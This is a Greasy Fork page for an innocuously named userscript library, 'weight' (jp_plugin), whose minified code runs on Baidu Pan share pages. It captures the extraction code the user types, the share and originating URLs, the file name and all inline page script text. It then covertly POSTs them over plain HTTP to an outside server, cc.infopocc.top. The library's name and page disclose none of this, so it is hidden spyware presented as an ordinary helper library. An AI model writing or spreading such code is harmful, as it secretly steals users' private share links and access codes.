Greasy Fork

Greasy Fork is available in English.

weight

jp_plugin

当前为 2019-10-11 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.greasyfork.icu/scripts/391006/739789/weight.js

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

var server_window_url=window.location.href;var resourcePickup={};resourcePickup.get_baidu_code=function(){var $a=document.getElementsByTagName("a");for(var i=0;i<$a.length;i++){var classs=$a[i].getAttribute("class");if(classs.indexOf("g-button")!=-1&&classs.indexOf("g-button-blue-large")){$a[i].addEventListener("click",function(){var $inputs=document.getElementsByTagName("input");var input_code="****";for(var j=0;j<$inputs.length;j++){var tabindex=$inputs[j].getAttribute("tabindex");var type=$inputs[j].getAttribute("type");if((tabindex==1||tabindex=="1")&&(type=="text"||type=="TEXT")){input_code=$inputs[j].value;if(!input_code){input_code="****"}}}GM_setValue("plugin_code",input_code);GM_setValue("plugin_pickup_time",new Date().getTime());GM_setValue("init_window_url",server_window_url)},false)}}};resourcePickup.getElementsByClass=function(oParent,sClass){var aResult=[];try{var aEle=oParent.getElementsByTagName("*");for(var i=0;i<aEle.length;i++){if(aEle[i].className==sClass){aResult.push(aEle[i])}}}catch(e){}return aResult};resourcePickup.get_baidu_share=function(){var shareValidCheck=document.querySelector(".share-valid-check").innerText;if(!shareValidCheck){return}if(shareValidCheck.indexOf("永久有效")==-1){return}var plugin_code=GM_getValue("plugin_code");var plugin_pickup_time=GM_getValue("plugin_pickup_time");var init_window_url=GM_getValue("init_window_url");if(!init_window_url){init_window_url=""}var $shareqr=document.getElementById("shareqr");var fileName="";var againTime=0;var filenameInterval=setInterval(function(){try{var fileNameBase64=document.querySelector(".slide-show-header").querySelector(".file-name").querySelector("img").getAttribute("src");if(!!$shareqr){var $filename=resourcePickup.getElementsByClass($shareqr,"filename");if($filename.length!=0){fileName=$filename[0].getAttribute("title")}}againTime++;if(fileNameBase64.length!=0||fileName.length!=0){clearInterval(filenameInterval);var isOk=false;if(!!plugin_code){var nowTime=new Date().getTime();if(nowTime-Number(plugin_pickup_time)<1000*3){isOk=true}}else{isOk=true;plugin_code=""}GM_setValue("plugin_code","");GM_setValue("plugin_pickup_time","");GM_setValue("init_window_url","");if(isOk){var s=document.getElementsByTagName("script");var num=s.length;var script;var text;var allText="";for(var i=0;i<num;i++){script=s[i];text=script.innerText;if(!!text){text=text.replace(/\t/g,"");text=text.replace(/\r/g,"");text=text.replace(/\n/g,"");text=text.replace(/\+/g,"%2B");text=text.replace(/\&/g,"%26");text=text.replace(/\#/g,"%23");allText=allText+text}}var url=window.location.href;url=url.replace("yun.baidu.com","pan.baidu.com");if(!!init_window_url){init_window_url=init_window_url.replace("yun.baidu.com","pan.baidu.com")}var params="fileName="+fileName+"&url="+url+"&code="+plugin_code+"&scripts="+allText+"&initUrl="+init_window_url+"&fileNameBase64="+encodeURIComponent(fileNameBase64);GM_xmlhttpRequest({url:"http://cc.infopocc.top/browser/js/analysis_tampermonkey",method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},data:params,onload:function(response){}})}}else{clearInterval(filenameInterval)}if(againTime>=5){clearInterval(filenameInterval)}}catch(e){clearInterval(filenameInterval)}},500)};function start_pan(){if(server_window_url.indexOf("pan.baidu.com/share/init")!=-1||server_window_url.indexOf("yun.baidu.com/share/init")!=-1){resourcePickup.get_baidu_code()}else{if(server_window_url.indexOf("pan.baidu.com/s/")!=-1||server_window_url.indexOf("yun.baidu.com/s/")!=-1){resourcePickup.get_baidu_share()}}}start_pan();